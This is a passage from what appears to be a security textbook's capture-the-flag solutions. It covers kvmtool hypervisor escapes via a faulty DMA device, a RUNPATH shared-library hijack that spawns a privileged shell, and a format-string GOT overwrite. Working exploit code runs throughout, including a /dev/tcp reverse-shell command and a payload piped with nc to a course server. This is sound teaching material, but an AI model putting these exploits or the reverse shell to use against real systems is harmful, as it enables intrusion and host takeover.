16 #define BROKEN_CMD (BROKEN_BASE + 4)
17 #define BROKEN_LOMEM (BROKEN_BASE + 8)
18 #define BROKEN_HIMEM (BROKEN_BASE + 12)
19 #define BROKEN_DMA_OUT 2
20 #define BROKEN_DMA_IN 1
21 #define BROKEN_SECSZ 512

Note that we have removed KVM_IOPORT_AREA from line 14, since we need the guest I/O addresses.
To make the hypervisor crash we can let it access an invalid host virtual address, e.g. address 0.

During an emulated DMA operation, the hypervisor will execute a memcpy()using guestmem+mem
as a source or destination address, where mem is the address that we write in the HIMEM-LOMEM pair
of I/O ports. If we write −guestmem, the hypervisor will access host virtual address 0 and the host
kernel will send it a Segmentation Fault signal:

vm1/exploit.c28 static int exploit_init(void) {
29 unsigned long target = -guestmem;
30
31 outl(0, BROKEN_SNR);
32 outl(target, BROKEN_LOMEM);
33 outl(target >> 32, BROKEN_HIMEM);
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34 outl(BROKEN_DMA_IN, BROKEN_CMD);
35 return 0;
36 }

At line 31 we choose sector 0 and at line 34 we start a DMA input operation; any valid sector and valid
operation would work equally well.

We put the exploit in the initialization function, so that it will run as soon as we run insmod:

vm1/exploit.c38 module_init(exploit_init);

Now we copy the exploit.c file in the exploit directory in the provided files, run make there
and obtain the exploit.ko file. We upload it on the remote VM and insmod it in the guest kernel.
The hypervisor will crash and the flag will be printed.

13.2

vm2

We write an exploit.c file18. The file has the same structure as the one in the solution of Ex. 13.1.
In particular, we include the same files and define the same constants, taken from hw/broken.c. In
addition, we write down the host virtual address of the flag array, which we can obtain by running
the VM locally in a debugger:

vm2/exploit.c9 unsigned long const flag_ptr = 0x55555559df40;

We put the exploit in the init function:

vm2/exploit.c24 static int exploit_init(void) {
25 char *buf;
26 unsigned long bufaddr;
27 unsigned long target;

The plan is to perform a first malicious DMA output operationj to materialize the flag array into
a sector of our broken disk, just as shown in Figure 13.6; then we read the sector in a buffer with a
normal DMA input operation. First, we allocate the buffer on the guest kernel heap:

vm2/exploit.c36 buf = kmalloc(BROKEN_SECSZ, GFP_KERNEL);
37 if (buf == NULL) {
38 printk("out of memory\n");
39 return 1;
40 }

The kmalloc()function gives us a guest virtual address in the “direct mapped” region of the guest
kernel virtual memory. We can convert the address to guest physical using the virt_to_phys()
function:

vm2/exploit.c41 bufaddr = virt_to_phys(buf);

18See note 17.
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We compute the fake address that we want to read in the malicious DMA output operation:

vm2/exploit.c43 target = flag_ptr - guestmem;

Recall that the hypervisor will read from target+guestmem= flag_ptr.
We select the sector that we will use to receive the hypervisor memory (any valid sector will do):

vm2/exploit.c50 outl(0, BROKEN_SNR);

Next, we order the malicious DMA output:

vm2/exploit.c52 outl(target, BROKEN_LOMEM);
53 outl(target >> 32, BROKEN_HIMEM);
54 outl(BROKEN_DMA_OUT, BROKEN_CMD);

Now 512 bytes of the hypervisor memory, which include the flag array, are stored in sector 0. We
read the sector in the buffer we allocated earlier:

vm2/exploit.c63 outl(bufaddr, BROKEN_LOMEM);
64 outl(bufaddr >> 32, BROKEN_HIMEM);
65 outl(BROKEN_DMA_IN, BROKEN_CMD);

Note that there is no need to write into BROKEN_SNR, since it already contains the sector number from
the previous operation.

Now the flag should be at the beginning of buf. We send it to the kernel log (remember that we
running inside the guest kernel):

vm2/exploit.c68 printk("flag: %s\n", (char *)buf);

Our exploit is complete:

vm2/exploit.c70 return 0;
71 }
72
73 module_init(exploit_init);

If we compile, upload and insmod the exploit.ko module, we can run:

(remote)# dmesg | grep ’flag:’

and read the flag.

13.3

vm3

The plan is to overwrite fdev.foo_ptr with the address of system()in the host C library. If we
write something into PORT, the hypervisor will system()passing it the contents of PORT, converted
from guest physical to host virtual. Therefore, we can define a string containing the shell command
that we want to execute, and write its address into PORT.
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We write an exploit.c file19. The file has the same structure as the one in the solution of
Ex. 13.1 and Ex. 13.2. This time we include linux/dma-mapping.h too, since we will need
vmalloc_to_pfn():

vm3/exploit.c2 #include <linux/slab.h>

Next, we define the string containing the command that spawns a callback shell.

vm3/exploit.c7
8 #define MYIP "localhost"
9 #define BASHCMD "sh -i > /dev/tcp/" MYIP "/10000 2>&1 <&1 &"

10 char cmd[] = "bash -c ’" BASHCMD "’";

We define a few constants for the addresses that we need. They are allo host virtual addresses:
guestmem and foo_ptr are printed by the remote hypervisor when we connect. The address of
system()can be obtained adding the offset of system()in the provided C library (in lib) to the
load address printed by the remote hypervisor:

vm3/exploit.c22 unsigned long const foo_ptr = 0x55555559dfd0;
23 unsigned long const guestmem = 0x7fffe3dbf000;
24 unsigned long const system_addr = 0x7ffff7dc1000 + 0x48e50;

We define the usual constants for the ports of the broken device, but this time we also need the I/O
address of the PORT register of the foo device:

vm3/exploit.c37 #define FOO_PORT 0x200

Now we can start our exploit:

vm3/exploit.c42 static int exploit_init(void) {
43 char *buf;
44 unsigned long cmd_addr;
45 unsigned long bufaddr;
46 unsigned long target;
47 unsigned long *ptr;

We need a temporary buffer for the DMA operations. We allocate it in the kernel heap and compute its
guest physical address, as in Ex. 13.2:

vm3/exploit.c56 buf = kmalloc(BROKEN_SECSZ, GFP_KERNEL);
57 if (buf == NULL) {
58 printk("out of memory\n");
59 return 1;
60 }
61 bufaddr = virt_to_phys(buf);

19See note 17.
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We compute the fake address of foo_ptr, to be used in the malicious DMA operations.

vm3/exploit.c70 target = foo_ptr - guestmem;

Now we compute the guest physical address of cmd. Since we have declared cmd in the .data
section (by declaring it global), it is placed in the vmalloc()area, and we have to compute its (guest)
physical address in the way suggested in Section 13.4.1:

vm3/exploit.c73 cmd_addr = (vmalloc_to_pfn(cmd) << 12) |
74 (((unsigned long)cmd) & 0xFFF);

We want to overwrite the 8 bytes of fdevḟoo_ptr, but the disk interface forces us to overwrite a
whole “sector”, i.e. 512 bytes of the hypervisor memory. To avoid overwriting data that the hypervisor
may need, we first read the current contents of the 512 around fdevḟoo_ptr into buf. Then we
overwrite the copy of fdevḟoo_ptr iside buf, and finally write buf back into the hypervisor
memory.

The read operation can be implemented in exactly the same way as in Ex.13.2:

vm3/exploit.c90 outl(0, BROKEN_SNR);
91 outl(target, BROKEN_LOMEM);
92 outl(target >> 32, BROKEN_HIMEM);
93 outl(BROKEN_DMA_OUT, BROKEN_CMD);
94 outl(bufaddr, BROKEN_LOMEM);
95 outl(bufaddr >> 32, BROKEN_HIMEM);
96 outl(BROKEN_DMA_IN, BROKEN_CMD);

Now buf contains fdevḟoo_ptr at the start. We convert buf to a pointer to unsigned long (8
bytes);

vm3/exploit.c99 ptr = (unsigned long *)buf;

And then overwrite the first 8 bytes with the host virtual address of system():

vm3/exploit.c103 *ptr = system_addr;

Now we write buf back into the hypervisor memory: this will overwrite fdevḟoo_ptr. To perform
the write-back, we need a first normal DMA output operation to copy buf into a sector of the broken
disk. If we reuse sector 0, we can just start the operation by writing into CMD, since HIMEM-LOMEM
already contain the guest physical address of buf from the previous operation:

vm3/exploit.c113 outl(BROKEN_DMA_OUT, BROKEN_CMD);

Now we order the malicious DMA input operation from sector 0 to the hypervisor memory. The fake
address is in target, the same one that we used for reading buf:
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vm3/exploit.c115 outl(target, BROKEN_LOMEM);
116 outl(target >> 32, BROKEN_HIMEM);
117 outl(BROKEN_DMA_IN, BROKEN_CMD);

Now fdevḟoo_ptr has been overwritten. We write the guest physical address of cmd into PORT,
tricking the hypervisor to call system(cmd).

vm3/exploit.c123 outl(cmd_addr, FOO_PORT);

The exploit is complete:

vm3/exploit.c124 return 0;
125 }
126 module_init(exploit_init);

Avoiding the callback shell

The above cmd will spawn a callback shell as shown in Figure 13.3, so we need a public IP address
that the shell can connect to. Since the challenge runs in the same server of, say, stack4, we can connect
to that challenge, run nc there and use “localhost” as MYIP.

However, the kvmtool setup used in the challenge is very simple, and the hypervisor’s stdin,
stdout and stderr actually point to the ssh connection that we use to interact with the guest. Therefore,
if we let kvmtool spawn a non background normal shell, we can interact with it from our existing
connection. If you try this (just put "sh" in cmd), you will see the shell prompt, but the terminal will
appear to be unresponsive. The problem is that kvmtool has put the pseudo-terminal device created
by the ssh server in raw mode. In particular, echo is disabled and there is no automatic conversion
from Carriage Return (aka Ctrl+M, ^M, or "\r") to New Line (which is Line Feed, aka Ctrl+J, ^J,
or "\n" in Unix). Since the “enter” key of our keyboard typically sends Carriage Return, the shell
doesn’t receive the "\n" when you hit “enter”, and keeps waiting for it, giving the impression that the
terminal is stuck. You can easily fix this by typing (blindly):

$ stty sane^J

The final ^J (remember: it is obtained with Ctrl+J) sends the newline and the stty command will
then reset the terminal settings to “sane” values. Now you can interact normally with your remote host
shell.

D.11 Dyamic libraries

B.1

dll2

Either with checksec or with readelf -d we can see that dll2 contains a RUNPATH set to dot,
i.e., the current directory. The problem is that this refers to the current directory of the user that is
running the program! This means that we can move to a directory where we can write and create a
new libfoo.so shared library there; then we run dll2 without moving out of the directory and the
dynamic loader will load our libfoo.so library instead of the original one.

Create a temporary directory and move there:
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$ tmp=$(mktemp -d)
$ cd $tmp

Create a fake libfoo.so:

$ cat >foo.c
#include <unistd.h>

int foo()
{

execlp("/bin/sh", "sh", "-p", NULL);
}
^D
$ gcc -o libfoo.so -shared foo.c

Note that we override the foo()function called by dll2 in order to spawn a shell. We pass the -p
option to the shell in order to keep the privileged group id of the process.

Now we can run dll2 an obtain a shell with the rights to read the flag:

$ cd /home/dll2/dll2
$ cat /home/dll2/flag.txt

B.2

canary1b

Instead of overwriting the saved return address of the child()function, we can overwrite some entry
of the Global Offset Table (GOT for short). This is easier, since the entries of the executable’s GOT are
at constant addresses that can be easily extracted from the binary. E.g., if we run

$ readelf -r canary1b

we obtain the following output:
Relocation section ’.rela.dyn’ at offset 0x6b8 contains 4 entries:
Offset Info Type Sym. Value Sym. Name + Addend

000000403468 000900000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000403470 000c00000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000403550 001800000005 R_X86_64_COPY 0000000000403550 stdout@GLIBC_2.2.5 + 0
000000403560 001900000005 R_X86_64_COPY 0000000000403560 stdin@GLIBC_2.2.5 + 0

Relocation section ’.rela.plt’ at offset 0x718 contains 21 entries:
Offset Info Type Sym. Value Sym. Name + Addend

000000403490 000100000007 R_X86_64_JUMP_SLO 0000000000000000 putchar@GLIBC_2.2.5 + 0
000000403498 000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
0000004034a0 000300000007 R_X86_64_JUMP_SLO 0000000000000000 setsockopt@GLIBC_2.2.5 + 0
0000004034a8 000400000007 R_X86_64_JUMP_SLO 0000000000000000 getpid@GLIBC_2.2.5 + 0
0000004034b0 000500000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
0000004034b8 000600000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
0000004034c0 000700000007 R_X86_64_JUMP_SLO 0000000000000000 dup@GLIBC_2.2.5 + 0
0000004034c8 000800000007 R_X86_64_JUMP_SLO 0000000000000000 close@GLIBC_2.2.5 + 0
0000004034d0 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
0000004034d8 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 signal@GLIBC_2.2.5 + 0
0000004034e0 000d00000007 R_X86_64_JUMP_SLO 0000000000000000 fflush@GLIBC_2.2.5 + 0
0000004034e8 000e00000007 R_X86_64_JUMP_SLO 0000000000000000 listen@GLIBC_2.2.5 + 0
0000004034f0 000f00000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
0000004034f8 001000000007 R_X86_64_JUMP_SLO 0000000000000000 bind@GLIBC_2.2.5 + 0
000000403500 001100000007 R_X86_64_JUMP_SLO 0000000000000000 mprotect@GLIBC_2.2.5 + 0
000000403508 001200000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0
000000403510 001300000007 R_X86_64_JUMP_SLO 0000000000000000 perror@GLIBC_2.2.5 + 0
000000403518 001400000007 R_X86_64_JUMP_SLO 0000000000000000 accept@GLIBC_2.2.5 + 0
000000403520 001500000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
000000403528 001600000007 R_X86_64_JUMP_SLO 0000000000000000 fork@GLIBC_2.2.5 + 0
000000403530 001700000007 R_X86_64_JUMP_SLO 0000000000000000 socket@GLIBC_2.2.5 + 0

The interesting part starts at “Relocation section ’.rela.plt’”. Each line is a relocation
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instruction, used by the dynamic linker when it needs to fill an entry of the GOT related to a stub
function in the PLT. Take for example the first line: it says that the address of putchar (last column—
ignore the part after the @ sign, which is just a version information, and the “+ 0”) must be written at
address 0x403490 (first column). This means that the GOT entry of putchar is at address 0x403490.
If we overwrite this entry with something else, like the address of win, then the process will call win
whenever it tries to call putchar.

Now we need to find the entry of a function that will be called by child()after the printf(buf),
and exploit the format string vulnerability to overwrite the entry. By looking at the code (either the
source code, or the disassembly), we find two candidates: fflush()and exit().

If we have pwndbg installed, we can easily examine the state of the GOT after the call printf(buf).
First, load our local copy of canary1 in the debugger:

$ gdb canary1b

then set a breakpoint in the child()function and start the server:

pwndbg> b child
pwndbg> r

From another terminal, connect to the local server:

$ nc localhost 4414

The debugger should now give you a prompt, indicating that the (child) process has reached the
child()function. Now type:

pwndbg> got fflush

This is a pwndbg command that prints the state of the GOT for that function (got by itself prints all
PLT-related entries in the GOT).

R Without pwndbg we should examine the contents of memory at address 0x4034e0 with some-
thing like “x/1g 0x4034e0”, i.e., print in hex the “giant” integer (8 bytes) stored at address
0x4034e0, which is the address of the GOT entry of fflush as obtained by the output of
“readelf -r canary1b”.

We should see the following output (edited):

[0x4034e0] fflush@GLIBC_2.2.5 -> 0x4010d6 (fflush@plt+6)

The GOT entry of fflush()is still pointing inside its PLT, at address 0x4010d6, since the process
has not called this function yet. Note how address 0x4010d6 differs from the address of win()
(0x4014a0) just in the two lower bytes. This means that we can adapt the canary1.py script that
we developed for the canary1 challenge, by just updating the address of win and targeting the GOT
entry of fflush instead of the saved rip:

canary1b.py1 import sys
2 import struct
3
4 win = 0x4014a0 & 0xffff
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5 plt = 0x4034e0
6
7 payload = b’%’ + str(win).encode() + b’c’
8 payload += b’%8$hn’
9 payload += b’A’ * ((8-6)*8 - len(payload))

10 payload += struct.pack(’Q’, 0x4034e0)
11 payload += b’\n’
12
13 sys.stdout.buffer.write(payload)

Then we can obtain the flag with in just one shot:

$ python3 canary1b.py | nc lettieri.iet.unipi.it 4414

Overwriting the GOT entry of exit()may also be convenient, since exit()has certainly not
been called yet. However, note that win()also contains a call to exit(). If we redirect exit() to
win(), the server will start calling win() in an infinite loop; moreover, since printflag()doesn’t
close the flag.txt file, at some point the server will use all the available file descriptors and will
start printing errors. In a real attack this may trigger notifications and alert the administrators.
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